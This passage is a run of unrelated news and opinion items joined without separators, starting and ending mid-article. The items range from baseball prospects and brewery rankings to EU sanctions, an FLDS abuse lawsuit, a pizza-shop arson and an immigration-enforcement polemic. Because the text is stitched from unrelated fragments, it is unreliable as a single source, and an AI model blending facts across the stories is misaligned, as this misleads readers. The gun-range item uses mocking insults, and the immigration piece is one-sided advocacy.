Gillaspie (No. 100), as well as a host of potential 2017 contributors on the mound such as right-handers Chih-Wei Hu, Jacob Faria, Jaime Schultz, Ryne Stanek and Taylor Guerrieri. De Leon Watch on MLB.com Watch on MLB.com 3. Double-A Trenton Thunder (Yankees) As the owners of MLBPipeline's No. 2-ranked farm system, the Yankees have talent spread throughout their system. No Yankees affiliate boasts more star power than the Eastern League's Trenton Thunder, who'll begin the season with Gleyber Torres, the No. 3 prospect in all of baseball, at shortstop and Miguel Andujar at the hot corner, as well as a starting rotation comprised of left-hander Justus Sheffield (No. 76 overall) and right-handers Chance Adams and Chad Green. Watch on MLB.com Watch on MLB.com 4. Double-A New Hampshire Fisher Cats (Blue Jays) New Hampshire will open the season with four Top 100 prospects and 10 of Toronto's Top 30 prospects on its roster. Right-hander Sean Reid-Foley (No. 62 overall) headlines a talented Fisher Cats' rotation that includes fellow righties Conner Greene, Jon Harris and Francisco Rios. Offensively, they have a trio of dynamic up-the-middle players in center fielder Anthony Alford (No. 68), shortstop Richard Urena (No. 91) and catcher Reese McGuire. Watch on MLB.com Watch on MLB.com 5. Triple-A Oklahoma City Dodgers (Dodgers) Oklahoma City might have as much prospect depth as some of the other teams on this list, but the club's offense surely will be something to behold. The Dodgers feature three of the organization's top four prospects -- all Top 100 prospects, too -- in youngsters Cody Bellinger (No. 11 overall; age 21), Alex Verdugo (No. 59; 20) and Willie Calhoun (No. 79; 22), who combined to slug 66 homers in 2016. Watch on MLB.com Watch on MLB.com 6. Double-A Mississippi Braves (Braves) Much like Oklahoma City, Mississippi stands out for its high-end prospects, specifically on one side of the ball. The Braves have aggressively double-jumped a number of the arms that helped Rome win the South Atlantic League in 2016, with Kolby Allard (No. 51 overall), Mike Soroka (No. 75) and Max Fried all leaping up to the Double-A Southern League. Right-hander Patrick Weigel, arguably the Braves' top breakout prospect last season, provides the M-Braves' rotation with another power arm, while second baseman Travis Demeritte is sure to provide plenty of power at the dish. Watch on MLB.com Watch on MLB.com 7. Class A Advanced Carolina Mudcats (Brewers) The Carolina Mudcats' roster features nine of the Brewers' Top 30 prospects -- a group highlighted by a wave of talented young hitters in Isan Diaz (No. 63 overall prospect), Trent Clark and Lucas Erceg. First-rounder (2016) Corey Ray (No. 28 overall) is likely to head there as well once he completes his rehab in extended spring camp. The Mudcats are equally deep on the mound, with a rotation that could include Marcos Diplan, Cody Ponce, Kodi Medeiros, Freddy Peralta and Corbin Burnes. Watch on MLB.com Watch on MLB.com 8. Triple-A Lehigh Valley IronPigs (Phillies) Many of the players that made Double-A Reading's offense such a force last season are ticketed for Lehigh Valley. That includes a pair of Top 100 prospects in shortstop J.P. Crawford (No. 5 overall) and catcher Jorge Alfaro (No. 70), outfielders Nick Williams and Roman Quinn and bash brothers Dylan Cozens and Rhys Hoskins. Overall, 11 of the organization's Top 30 prospects will open the year with the IronPigs. Watch on MLB.com Watch on MLB.com 9. Triple-A Colorado Springs Sky Sox (Brewers) Top 100 prospects Lewis Brinson (No. 17) and Josh Hader (No. 36) may be nearly ready for the Major Leagues, but for now they'll both begin the season back in the Pacific Coast League. Right-hander Brandon Woodruff, the Brewers' Minor League pitcher of the year in 2016, will follow Hader in the rotation, while Brett Phillips and Ryan Cordell, along with Brinson, will comprise an ultra-athletic and rangy Sky Sox outfield. Watch on MLB.com Watch on MLB.com 10. Triple-A Nashville Sounds (Athletics) Triple-A Nashville's roster should house more than one-third of the A's Top 30 prospects once fully healthy. Top 100 prospects Franklin Barreto (No. 50 overall) and Matt Chapman (No. 97) are slated for shortstop and third base, respectively, giving the Sounds what could be one of the better left sides of the infield in the Minors. Meanwhile, Matt Olson, Bruce Maxwell, Renato Nunez and Chad Pinder all will return to Nashville after debuting with Oakland late last season. Watch on MLB.com Watch on MLB.com Honorable Mentions: Double-A Chattanooga Lookouts (Twins) There are nine Top 30 prospects -- and six of the Top 10 overall -- slated to begin the year with the Lookouts in the Southern League. That includes the Twins' top two prospects, Nick Gordon (No. 48) and Stephen Gonsalves (No. 89), as well as promising hurlers Fernando Romero, Tyler Jay, Kohl Stewart and Felix Jorge. Class A Advanced Lake Elsinore Storm (Padres) Lake Elsinore may have one of the best starting rotations in the Minors to begin the season in Anderson Espinoza (No. 24 overall prospect), Cal Quantrill (No. 94) and Eric Lauer, and it's only a matter of time until Adrian Morejon and Jacob Nix join them. At the plate, Michael Gettys and Josh Naylor are set to lead the Storm's offense. Others Triple-A Fresno Grizzlies (Astros) Class A Advanced Florida Fire Frogs (Braves) Double-A Akron RubberDucks (Indians)
A Founders Brewing Co. dark beer on the taproom bar. Photo taken Wednesday, October 3, 2012. (Chris Clark | MLive.com) (Chris Clark | MLive) KALAMAZOO, MI – Bell's Brewery Inc. and Founders Brewing Co. continue to mash out competitors in national ranking lists. Both breweries were named among The Daily Meal's Top 15 breweries in America, published in USA TODAY. Founders Brewing Co. was named the No. 4 best brewery in America and Bell’s Brewery was named No. 8 in the list published on Aug. 10. The rankings are based on interviews with experts and readers about the “best and beloved” breweries, flagship beers, design, marketing, and fan-base building. Here’s what Marcy Franklin, of TheDailyMeal.com, about Founders and Bell’s: No.4 Founders Brewing Company, Grand Rapids, Mich.: No. 8 Bell's Brewery, Kalamazoo, Mich.: Larry Bell, founder of Bell's Brewery Inc., said although many beer-ranking lists seem arbitrary, he appreciated The Daily Meal's explanations. "(It's) always nice to get recognition," Bell said. The Daily Meal's Top 15 Breweries in the USA: 1. Dogfish Head, Milton, Del. 2. Stone Brewing Company, Escondido, Calif. 3. Boulevard Brewing Company, Kansas City, Mo. 4. Founders Brewing Company, Grand Rapids, Mich. 5. Cigar City Brewing Company, Tampa, Fla. 6. New Belgium Brewing Company, Fort Collins, Colo. 7. Lagunitas Brewing Company, Petaluma, Calif. 8. Bell's Brewery, Kalamazoo, Mich. 9. Russian River Brewing Company, Santa Rosa, Calif. 10. Sierra Nevada, Chico, Calif. 11. Odell Brewing Company, Fort Collins, Colo. 12. Three Floyds Brewing Company, Munster, Ind. 13. Avery Brewing Co., Boulder, Colo. 14. Oskar Blues, Lyons, Colo. 15. Rogue Ales, Portland, Ore. Mlive.com reporter Melissa Anders contributed to this report. covers business for Mlive.com/Kalamazoo Gazette. Email her at uzerilli@mlive.com or follow her on twitter.
EU ambassadors on Wednesday (7 September) decided to extend the life of a blacklist that designates top Russian officials on grounds of “actions against Ukraine's territorial integrity”. The list, which expires on 15 September, is to stay in place until 15 March next year, with EU capitals to ratify the decision by written procedure in the next few days. “It is expected that no change will be made to the list of persons and entities under restrictive measures”, an EU Council official said. The list imposes a travel ban and asset freeze on 146 Russians and Ukrainians and an asset freeze on 37 entities. Named individuals include Russian leader Vladimir Putin’s oligarch friends, top Kremlin aides, senior politicians, and Russian security chiefs. The EU official said it was extended without any debate by all 28 ambassadors. The move comes ahead of talks on future Russia relations by EU leaders at a summit in October. The EU has also imposed biting economic sanctions on Russian banks, energy firms, and arms makers. These are due to expire in January unless renewed. One EU diplomat said the UK’s decision to leave the EU has weakened the internal bloc of Russia hawks that is set to push for a renewal. “The UK already has one foot out of the door. That leaves Poland, the Baltic states, Sweden and, to an extent, Denmark, without a major ally on Russia”, the contact said. “The other Visegrad countries [the Czech Republic, Hungary, and Slovakia] are pursuing better relations with Russia, while in Germany, the SPD is trying to differentiate itself from Merkel in the run-up to elections, and that is likely to mean a more pro-Russian line”, he added. The Russia-friendly, centre-left SPD party is a member of German chancellor Angela Merkel’s ruling coalition. Merkel has taken a firm line that Russia must fully comply with the Minsk ceasefire accord in Ukraine before the EU reciprocates, but French and Italian leaders have criticised the EU sanctions regime. The accord says that "foreign" troops must leave Ukraine and Russia must hand back control of the border to Kiev. The EU diplomat said October’s talks could see EU leaders “decouple” sanctions from Minsk compliance, opening the door to sanctions relief down the line. Fighting in east Ukraine has intensified over the summer, with international monitors, the OSCE, reporting 62 explosions in the Donetsk region on Wednesday and 42 in the Luhansk region. Russia denies that its soldiers are active in Ukraine. But a new investigation by Bellingcat, a British NGO, which counted the number of medals awarded to Russian soldiers during the past two years of the Ukraine conflict, indicated that “more than 10,000” Russian servicemen took part in combat operations in east Ukraine.
Fundamentalist Church of Jesus Christ of Latter-Day Saints President Warren Jeffs, along with other officials in the church and its former land trust, is accused of carrying out a “calculated plan” to sexually abuse underage girls as part of a religious ritual, according to a lawsuit filed Wednesday. The lawsuit also cites for alleged wrongdoing the United Effort Plan Trust, Warren Jeffs’ brothers Lyle and Seth Jeffs, former FLDS President and convicted bigamist Wendell Nielsen, and the church. The lawsuit filed in 3rd District Court alleges that as part of their FLDS beliefs, men have historically sexually abused and assaulted underage girls. However, under Warren Jeffs’ leadership, the lawsuit’s plaintiff — a 21-year-old woman identified as R.H. — says a new practice involving ritualistic sexual intercourse with young girls began. Starting when she was 8 years old, the woman says, she would be taken from her home, wearing a bag over her head, to an unknown location — typically an FLDS temple in the Colorado City, Ariz., area or other church- or trust-owned properties — where she would be assigned a number for a religious ritual, according to the lawsuit. There, she was reportedly sexually assaulted by the Jeffses, Nielsen or other church members and leaders. When the men weren’t assaulting her, she says, they watched. The 21-year-old said Warren Jeffs warned her that if she told anyone about the abuse, according to the lawsuit, “God would destroy her and her family immediately.” He also reportedly said that if she cried during the ritual, “God would punish her.” The rituals reportedly occurred five to six times a week until the woman turned 12. When she was 14 years old, the lawsuit alleges, she was forced to watch and document other girls’ ritualistic abuse with church leaders. The woman’s attorneys cite evidence recovered from the FLDS Church’s temple in Eldorado, Texas — on the compound where Warren Jeffs lived before his arrest and conviction for sexually assaulting two girls — as proof of the abuse. The woman says the abuse continued when she turned 16 and began taking part in “Ladies Class” to learn to be a good wife. During those classes, she says, Lyle Jeffs would escort her out of class and into his sound-proof office, where he would sexually assault her “under the guise of further teachings” in the class. The lawsuit says the church and its former land trust are liable because they hired the church leaders and, therefore, aided in the abuse. The woman is requesting physical and emotional damages and has asked for jury trial, according to the lawsuit. Her attorneys — Michael Worel, Alan Mortensen and Lance Milne — also represented Elissa Wall, who filed a lawsuit against Warren Jeffs and many of the same defendants in 2005 over being forced to marry when she was 14 years old. Wall’s case was resolved in September, when a judged ordered that Warren Jeffs pay Wall $16 million in damages. The woman came to Worel, Mortensen and Milne because they represented Walls, Worel said. The 21-year-old wanted to file the lawsuit, he said, because she believes the alleged abuse is still happening in the church. “The whole point of filing the lawsuit is she's hoping to empower others to come forward and to speak out and to see if we can make this stop," Worel said. Jeff Barlow, executive director of the United Effort Plan Trust, declined to speak Wednesday evening, adding that he’d comment on the lawsuit once he reviewed the complaint. Lyle Jeffs, who was once the FLDS church’s day-to-day leader, was recently sentenced to nearly 5 years prison for his role in a churchwide defrauding of the government through the federal Supplemental Nutrition Assistance Program, and for fleeing from authorities.
Years ago, I brought a new boyfriend to Christmas dinner. “Is this the same boy as last time?” My uncle asked. That was bad enough, but when I told him no, he followed up with, “Every year, different boy.” Merry Christmas! If your family is anything like mine, they like to ask painfully awkward questions, and this can make the holidays stressful. Here’s how to deal with it. The obvious answer to all of this is: just tell your family it’s none of their business. But that can make things worse. Chances are, the older adults in your family still see you as a kid, which is why they often think it’s okay to ask private questions in the first place. Saying “nunya” doesn’t do much to clear that up. When your family asks awkward questions, there are better ways to go about it. Advertisement Overall, you want to give a short and sweet answer that doesn’t reveal too much and takes the spotlight off of you. A simple, “we’re not thinking about having kids anytime soon” will do. Granted, I answered my uncle’s question rather curtly and he still embarrassed the hell out of me, but I can only imagine how much worse it could have been had I gone into greater detail. Strategically Change the Subject Making a joke or offering a curt reply sends a big hint that you don’t feel like discussing the topic. The problem is, some people won’t get that hint, or worse, they won’t care. In that case, you may need to rely on other methods. Advertisement A short answer is great, but it can also leave behind an awkward silence. You can fill that silence by simply changing the subject. Transitions can be tough, though. For example: “No, we’re not having kids. Hey, how about that turkey?” That’s a bad transition, and it can draw more attention to the already awkward moment. Instead, find a bridge. Something like, “No, we’re not having kids. We are planning a trip to Niagara Falls though! You’ve been there, right?” In this case, Niagara Falls is the bridge, and you’ve swiftly changed the subject. Also, if the family member is genuinely interested in what’s going on with you, a too-obvious deflection won’t work. Here’s what David Klow, a Licensed Marriage and Family Therapist at Skylight Counseling recommends instead: Try a sort of conversational jujitsu in which you pull the topic towards you before using the questioners momentum against them. Don’t meet force with force. Instead let them in a bit, only to a point where you are comfortable, then swiftly move the topic in another direction. For instance, when a family member asks, “what happened to your ex?” it can be best to just tell the truth. “We weren’t able to make it. You know how relationships can be. Yet he’s a great guy and we’re in a good place. How’s your son doing at college?” Advertisement One of my favorite ways to seamlessly change the subject is to ask the person for advice—a risky move, but it can work surprisingly well. In general, people love to talk about what they know, so when you ask them for advice, they often start talking about themselves instead of you. If you keep your answers short and sweet, this works well. For example, when our family’s friend asked me about having kids, here’s what I said to change the course of the conversations: “Oh, I don’t know. What’s the hardest part about having a baby?” This turned into a much more pleasant, interesting conversation about this person’s experience with parenthood. But, more importantly, we weren’t talking about my personal life decisions anymore! Advertisement Deflecting works well with people who are just trying their best to make conversation. Changing the subject works because it still gives them what they want: something to talk about. However, if your family is on the nosy side, you might have to take things up a notch. Advertisement Figure Out Why They’re Asking Over at Psychology Today, psychotherapist F. Diane Barth discussed why people ask inappropriate questions, and she narrowed it down to a handful of reasons, including: They don’t know any better: They might not realize the questions make you feel uncomfortable. They might not realize the questions make you feel uncomfortable. They’re rebelling : They know it’s poor form, but they don’t think it should be, so they ask anyway. : They know it’s poor form, but they don’t think it should be, so they ask anyway. They’re angry or hostile : They might be doing it to push your buttons. : They might be doing it to push your buttons. They’re trying to connect with you: They might genuinely want to help or get to know you better. Advertisement Dr. Dave Popple, President of Psynet Group recommends directly asking about the person’s intention. He offers a few examples: Have you found a boyfriend yet? You: Are you worried that I might be lonely? You: Are you worried that I might be lonely? How is the job search? You: Are you concerned that I am in financial trouble? You: Are you concerned that I am in financial trouble? When will you start a family? You: Are you worried that I am waiting too long? Popple says replying this way will get you one of two types of responses: For those people who are just nosy, they will quickly change the subject. For those who truly care, you have the opportunity to have an honest conversation about the real issue. Advertisement People ask awkward questions for different reasons, and when you understand their intention, you can get a better idea of how to deal with it. If someone just wants to connect with you, for example, you’ll probably have luck changing the conversation by asking for their advice. If they’re just asking because they don’t know any better, changing the subject works well, too. If someone is rebelling or trying to push your buttons, then you’ll have to go with a more direct approach, like putting your foot down. Put Your Foot Down (Diplomatically) It’s hard not to get immediately defensive when someone asks about a sensitive topic, but obviously, that can open up a whole other can of worms. It can make the situation even more awkward or worse, turn an impolite question into a full blown fight. Advertisement When you’re dealing with someone who creates uncomfortable situations, and they don’t seem to take a hint, try this simple script, inspired by Lifehacker alumn Adam Dachis: You may not be aware, but that question is making me uncomfortable. You’re entitled to ask, but maybe we can talk about a topic we can both enjoy. This dialogue includes three points: the fact that you’re uncomfortable, validating the other person’s behavior, and coming to a mutual agreement. Advertisement With most families, a little awkwardness is usually inevitable. But with a few tactics in your back pocket, you can dodge the cringeworthy questions and get on with the get-together. Illustration by Sam Woolley.
Like the iPhone 5 before it, the unannounced iPad Mini has—through leaks and logic—made itself essentially a known quantity. Let's assume for a second that we know what it looks like, how big it is, and what guts will power it. It's a safe assumption. Advertisement With just a few weeks until a rumored launch, we have a jigsaw puzzle device that's missing just one piece: price. And how Apple fills that in will have huge repercussions for the iPad Mini—and the company itself. This is what we can say with some certainty about Apple's tiny tablet: It will look somewhere between a large iPhone and a small iPad, will have a 7.85-inch display that's not quite retina, will share guts with the iPad 2 and iPod touch, and will be announced sometime in the next several weeks. It will likely come in black, anodized aluminum, and possibly white. There could very well be a 3G version. Advertisement That makes price the only real question left. It's also the one Apple's going to have the hardest time answering. A Premium Blend This should be easy. After all, unlike the iPad—which established the 10-inch tablet market to Apple's devastating advantage—there are already a host of 7-inchers in the world. There have been for some time; long enough, at least, to cement consumer expectations of what a 7-inch tablet should cost. And that amount is between $200 and $250. Advertisement So, no problem! Let's say the iPad Mini starts at 16GB (reasonable, since all the other iPads do). That would put it up against the equivalent $200 Kindle Fire HD, the $230 Nook HD, and the $250 Nexus 7. Assuming Apple doesn't mind sitting on top of the pricing totem pole, $300 makes perfect sense. Done. But let's take one more look at those devices. The Nook HD has the best display of any 7-inch tablet, and an OMAP processor that outclocks the Kindle Fire, and the Nexus 7 (and iPad Mini's rumored A5). In fact, at that $300 price point you could score a 32GB, 9-inch Nook HD+. Similarly, the Nexus 7 can match any tablet on design, has a blazing Tegra 3 processor and 1GB of RAM muscling a silky Android Jelly Bean platform, a near-retina display, and the full might of the Google Play store behind it. In both cases, at $300 Apple would be asking people to pay significantly more for a product that offers, on many fronts, less. Advertisement Then there's the Kindle Fire HD, from a company with nearly as much brand recognition as Apple, a content ecosystem that beats the crap out of iTunes, a retina display. All for—again, hypothetically—a hundred bucks cheaper. In fact, for $300 you can get 9-inch, retina display Kindle Fire HD, a free month of Amazon Prime, and (in most places, still) not pay taxes on any of it. Buying that over a smaller, less equipped iPad Mini may not be a no-brainer. But it's closer to one than Apple should be comfortable with. So why not go cheaper? It's not that Apple can't afford to. It's that it doesn't appear to want to. The iPod Precedent One of the not-so-secrets to Apple's retail success is that it keeps things like pricing so simple you don't have to give it much thought. Nearly every product in the Apple Store—the Shuffle, the nano, and the 3G iPads being the exceptions—costs a multiple of $100. Want the slightly better version of something? That'll be a Benjamin. Advertisement It's such an established system, in fact, that Apple may have priced itself into a corner. An iPad Mini would fall squarely between two devices: the iPod touch and the iPad. It's expected to share the same processor with both, and will roughly split the difference in size. The 32GB iPod touch—the smallest available model—costs $300. The entry-level 16GB iPad 2 costs $400. It's nearly impossible to imagine the iPad Mini costing less than the former and more than the latter. It would be confusing, and Apple hates confusion. But $300 for a 16GB iPad Mini would be the sweet spot, wouldn't it? Especially given that $100 increment fetish. Start with the $300 32GB iPod touch, add size (+$100), subtract storage (-$100), end up at $300. Start with the $400 iPad 2, subtract size (-$100), keep everything else the same, end up at $300. It also happens to fill in the pricing pattern every iProduct has marched to since forever (left, via Ryan Jones). Advertisement When Apple refreshed its iPod touch line-up just last month, it could've easily set a lower price in anticipation of the incoming iPad Mini. But it didn't. And that's worrisome. Regression to the Mean Not too long ago, people happily paid an Apple premium. You'd spend more for the same basic product because you trusted the brand and appreciated the aesthetic. Apple made a lot less money back then. Advertisement Now, though? Look around. Intel had to pay out $300 million to ultrabook OEMs to keep up with MacBook Air pricing. It's commonplace for top-shelf Android handsets to start at $300 on contract; the iPhone still comes in at (a heavily subsidized) $200. And then there's the iPad. It's easy to forget now, but one of the most remarkable things about the original Apple tablet was its price. It was cheap, for what it was, a budget Adonis forged by Tim Cook's supply chain heroics and Apple Store retail efficiency. It took a year for Apple's competitors to produce a reasonably decent 10-inch tablet at $500, and another to drive the price down to $400. And still no one buys them. People buy the Kindle Fire, though. By the millions. The small tablet market is mature and competitive in a way that the 10-inch market—outside of the iPad itself—has never been. The Toshiba Thrive is Glass Joe; the Nexus 7 is Mr. Sandman. And it's way cheaper than $300. Advertisement How Apple prices the iPad Mini matters beyond just the number of units it sells. If it's less than $300, CEO Tim Cook has keyed into the threat that Amazon and Google pose to its handheld computing empire. And he'll crush them. If not? Then it's another sign—along with Maps, along with that $30 dock connector adapter—that the old Apple hubris might be sneaking back in. The kind that dominated back when Apple was cool and niche, not the most successful business in the world. So maybe the biggest question about the iPad Mini isn't really price after all. Maybe it's: What kind of company does Apple want to be?
When will the gunhuggers and ammosexuals get that guns give you the foolish illusion of safety -- and invincibility? Personally, I'll take my chances with an aluminum baseball bat! (H/t Brendan Squire.) [Philadelphia] police are asking for the public's help tracking down the second suspect responsible for robbing gun range customers of at least nine weapons and shooting a 67-year-old man. Authorities identified the missing robber as 27-year-old Jeffrey Chandler. Officials say Chandler, who stands 5-feet 10-inches tall and weighs about 200 pounds, has numerous tattoos on both arms. The most distinctive tattoo is the word - "Stretch" - located on his right hand, they say. Investigators say Chandler fired the shot that wounded one of the victims. Chandler's alleged accompolice, 21-year-old Samiyyah Poteat turned herself in to authorities on June 13 after seeing herself in surveillance video of the crimes. She faces multiple charges including attempted homicide, robbery and aggravated assault. Officials say Poteat and Chandler were involved in two holdups at two different gun ranges -- the first at Yury's Gun Range in Philly's West Poplar neighborhood and the second at the Delaware Valley Sports Center in the city's Bustleton neighborhood. The suspects waited in a parked car, a late model dark colored 2-door coupe, outside of the ranges until potential victims exited. They robbed a 68-year-old man at gunpoint outside Yury's at 544 N. Percy St. around 6:40 p.m. June 11, emptying the victim's pockets and taking off with his backpack, which contained two .22 caliber handguns, according to authorities. The following day, the pair went to Delaware Valley Sports Center at 101 Geiger Road and pulled off the same heist on an unsuspecting 67-year-old man, who was leaving the range with a friend around 8:40 p.m., according to police. Officials say they demanded the two men hand over their cash and guns. Even though the victims were cooperating, Chandler fired a shot, striking the 67-year-old and critically wounding him, according to authorities.
Queens Park Rangers have sent the Football League their accounts for 2013-14, the period covered by new financial fair play rules expected to result in the club being hit with a multimillion-pound fine. QPR and the league confirmed that the accounts were sent on time on 1 December but neither would discuss the financial position disclosed. Financial fair play rules in the Championship, aimed at encouraging clubs to live within their means, impose escalating fines on those clubs that won promotion to the Premier League while making significant losses. Clubs that made losses but stayed in the Championship will have points deducted. QPR are expected to face a large fine because in the previous season, 2012-13, which resulted in relegation to the Championship, the club lost £65m despite earning Premier League income of £61m. QPR paid their staff, including players, £78m in the year to 31 May 2013. If in their promotion season QPR did not cut their wage bill enough to compensate for the dramatic loss of Premier League income, and made a loss as high as the previous year, they could face a fine of £54m. The rules impose a fine of approximately £7m for a loss to £18m, then pound for pound above that. All 30 clubs required to file their accounts by 1 December – last season’s Championship clubs, plus the three relegated from the Premier League and the three promoted from League One – have now sent them, the League confirmed. Sanctions will be determined by 1 January.
The manager of a Domino’s Pizza in Lake City, Fla., torched a Papa John’s Pizza down the street because he hoped his boss would give him a bonus if business increased, police said. The heated rivalry burst into flames on Oct. 20, when an arson attack caused about $500,000 in damages to Papa John’s, said Capt. John Blanchard of Lake City Police Department. According to Blanchard, Bryan David Sullivan, 22, a general manager of the Domino’s, confessed. “He was the mastermind. He said he was sick of seeing Papa John’s trucks going by,” Blanchard said. “And he said he was looking at an upcoming bonus of a few hundred dollars based on the increase in business, and he was going to split it with the accomplice,” the police captain said. The alleged accomplice was identified as Sean Everett Davidson, 23. The men made two golf ball-size explosive devices with gunpowder and fire accelerant, Blanchard said. When they broke into the Papa John’s and tried to activate one of the devices, the accelerant caught fire prematurely, perhaps from a pilot light, police said. Davidson was badly burned, and the pair fled. They drove south on I-75 and threw the second device out the window, police said. Blanchard urged anyone in the area not to pick up a golf ball-size object in a plastic bag, because it could catch fire and do serious harm. “This is beyond logic,” said Tim McIntyre, vice president of communications for Domino’s Pizza. “There are two innocent victims here, and they’re both independent pizza shop owners.” The owner of the Lake City Domino’s was out of town when the fire occurred, and when he heard his employees might be involved, he called the police himself, McIntyre said. Blanchard could not confirm McIntyre’s version of events. This wasn’t the first case of a pizzeria trying to sabotage a rival. This past March an Upper Darby, Pa., pizzeria owner was arrested for allegedly trying to stash bags of live mice in two competing restaurants.
September 2010 The Obama Administration has further weakened already inadequate immigration enforcement in the interior of the country. This may be seen in four developments undertaken by agencies of the Department of Homeland Security (DHS). First, DHS announced that it was revising 287(g) agreements with state and local authorities to limit their scope. Those agreements, identified by the Immigration and Nationality Act section that provides for them, provide for local law enforcement personnel to be trained by the Immigration and Customs Enforcement (ICE) agency and to be deputized to act as immigration law enforcement personnel. When illegal aliens are identified by the 287(g) deputized personnel they are put into the hands of ICE for deportation. Those partnerships had become a major source of DHS deportations more than 35,000 persons in the past two years. The revised agreements insisted on by ICE restrict the scope of the illegal aliens that ICE will accept for deportation to aliens convicted of serious felony offenses. In that way, the locally trained and deputized law enforcement personnel are put in the position of having to resume a practice of "catch and release" for any other illegal aliens. Following the initiative to restrict these agreements, some of the local jurisdictions decided to leave the program rather than accept the new limitation. Second, the administration has virtually suspended worksite enforcement actions that apprehend illegal alien workers. It has instead substituted paper audits of the I-9 employment documents required for all new hires. This change has allowed ICE to continue to claim it is enforcing the law against employers of illegal aliens without arresting and deporting illegal workers. This practice simply identifies those employers who have not complied with the law in collecting and filing the I-9 information and those employers who have accepted fake documents. The government cannot prosecute employers for knowingly employing illegal workers unless it can be proven that the employer knew the workers presenting the fake documents were illegally in the country. This practice, billed by the Obama administration as "smart enforcement," is a radical departure from stepped-up enforcement during 2007 and 2008 when the worksite raids resulted in the apprehension of illegal workers who became a potential source of testimony regarding the hiring practices of their employers. This change in policy reduces the threat of prosecution and possible imprisonment against employers into a minor inconvenience of a monetary fine and the possible loss of services of the illegal alien employees identified as having used fake or stolen identity documents. Meanwhile, the illegal alien workers remain free to find other jobs. Third, ICE has developed and codified a system of triage in which it prioritizes the aliens that it seeks to apprehend and deport. There is precedent for this triage in the policies of previous administrations, and there is reason to prioritize the removal of aliens who pose a danger to society. However, the implementation of the administration's current prioritization excessively limits enforcement against virtually all other immigration violators. All police forces practice some form of discretion in deploying their manpower and resources, but it would be unheard of for them to simply abandon enforcement against all but violent criminals, who account for less than 10 percent of all crimes recorded by the FBI. The memo by ICE director, John Morton is titled "Civil Immigration Enforcement: Priorities for the Apprehension, Detention and Removal of Aliens." While national security suspects and dangerous criminal aliens should be a priority for deportation, the ICE triage system ignores the importance of removing others who have broken the immigration law and preventing crimes before they happen. Comprehensive enforcement of the immigration law will encourage attrition, i.e., the voluntary departure of illegal aliens, and deter new illegal immigration an objective that runs contrary to the administration's political support for a sweeping amnesty. Fourth, under pressure from advocates for illegal aliens, who charge that the Obama administration has failed to deliver the "comprehensive immigration reform" that candidate Obama promised, the administration has explored the options for providing amnesty on a case-by-case basis to illegal aliens. The document entitled "Administrative Alternatives to Comprehensive Immigration Reform" developed by the Citizenship and Immigration Services (USCIS) branch of the Department of Homeland Security outlines measures that may be taken by discretionary administrative action. These measures, if systematically adopted would constitute a major shift in immigration enforcement policy without congressional authorization. The document states that "…USCIS can extend benefits and/or protections to many individuals and groups by issuing new guidance and regulations, exercising discretion with regard to parole-in-place, deferred action and the issuance of Notices to Appear (NTA), and adopting significant process improvements." Among those identified as potential beneficiaries are thousands of illegal aliens who have benefited from grants of Temporary Protected Status. The memo suggests ignoring deportable aliens who have no basis for relief from deportation while issuing NTAs for those who do have grounds for relief. Another option raised in the memo is redefining the "extreme hardship" standard for approving suspension of deportation. The memo posits, "This would encourage many more [illegally resident] spouses, sons, and daughters of U.S. citizens and lawful permanent residents to seek relief without fear of removal." The administration dismissed this USCIS memo as a normal internal discussion of possibilities that has no status. The administration, tellingly, did not deny its interest in pursuing those actions. Recent well-publicized cases of reprieves against deportation of illegal alien youth indicate that in all probability, the administration has already adopted a policy along the lines suggested in the planning document for illegal alien youths who would benefit if the DREAM Act were enacted. Fifth, despite the administration's attempt to downplay its planning for a "stealth" amnesty by executive discretion, a further memo from ICE director Morton issued on August 20, 2010 documents that these proposed benefits for illegal aliens are already being implemented. The latest memo instructs that as many as 17,000 ICE deportation cases should be fast-tracked in USCIS for dismissal of the deportation orders. All the beneficiaries need is to have a petition for relief from deportation, a petition from a U.S. citizen or legal resident family member and to not have a disqualifying criminal record. This action would not provide 'green cards' for the aliens, but it would mean they would no longer be subject to deportation and would be free to stay in the United States in the hope that a formal amnesty would eventually be adopted. The weakening of the 287(g) program, the virtual suspension of worksite raids, the implementation of a diminished enforcement strategy through triage, and the increased refusal to deport illegal aliens are all aimed at weakening interior enforcement of the nation's immigration laws. These moves have been taken by ICE career employees as a slap in the face. The AFL-CIO affiliate National Council 118 of ICE employees issued a unanimously approved "vote of no confidence" in the director of ICE and the director of the DHS Office of Policy Planning on June 25, 2010. The union statement said, "This action reflects the growing dissatisfaction and concern among ICE employees and Union leaders that [the DHS directors] have abandoned the Agency's core mission…of providing for public safety, and have instead directed their attention to campaigning for programs and policies related to amnesty..." The extent to which the administration will continue to pursue this non-enforcement strategy is likely to be limited only by the extent to which there is concerted opposition to these policies in Congress and the U.S. public. See also Paving the Road to Amnesty which documents actions of the Obama Administration from day one to lay the groundwork for a mass amnesty.
Malka Leifer: Former Melbourne Jewish school principal wins further delay in fight against extradition from Israel on abuse allegations Updated A former principal accused of molesting students at an ultra-Orthodox Jewish school in Melbourne has had her extradition hearing to Australia delayed. Malka Leifer fled to Israel just hours after allegations of sexual abuse at the Adass Israel School in Elsternwick first surfaced in 2008, and has been there ever since. It is understood Ms Leifer could face dozens of charges of indecent assault and rape if she ever returns to Melbourne. We don't think that Israel should be a country of refuge for suspects of child sex abuse, paedophiles. Dr Yitzhak Kadman, National Council for the Child Ms Leifer was first placed under house arrest in Israel last September but nearly a year later there still has not been an initial hearing on her extradition petition. On Wednesday, her lawyers successfully argued in a Jerusalem court for yet another delay to her case, claiming she is suffering from "psychosis and stress". Lawyer Yehuda Fried denied dragging the case out. "I don't accept the word excuses. We are conducting a court procedure," he said outside the court. "The Israeli law confirms that anyone in a psychotic state cannot be subject to legal proceedings." He told reporters he was willing to spend years fighting the extradition and would appeal all the way up to the Israeli High court and Minister for Justice if necessary. Attorney-General George Brandis's department said in statement: "Australia made a request to Israel for Ms Leifer's extradition as she is wanted to face prosecution in Victoria for 74 sexual assault offences. "As the matter remains before the courts in Israel, it would not be appropriate to comment further." Activist alleges pressure to keep case quiet Abuse whistleblower Manny Waks is visiting Israel to bring attention to the issue of child sexual abuse in ultra-Orthodox Jewish communities. He said he was dismayed the extradition process was taking so long. "I've been in contact with a number of complainants in this case and its something I know they are taking in a very difficult way," he said. Dr Yitzhak Kadman, the executive director of Israeli children's right advocacy organisation National Council for the Child, said he believed Ms Leifer had "very good lawyers". Dr Kadman said he was worried Israel's powerful ultra-Orthodox community was protecting Ms Leifer and helping to fund her legal case. "We are aware of how many people tried to create pressure on this case. We think she is well connected. The prosecutor has told us, without getting into details, that there was a lot of pressure not to even release her name," he told the 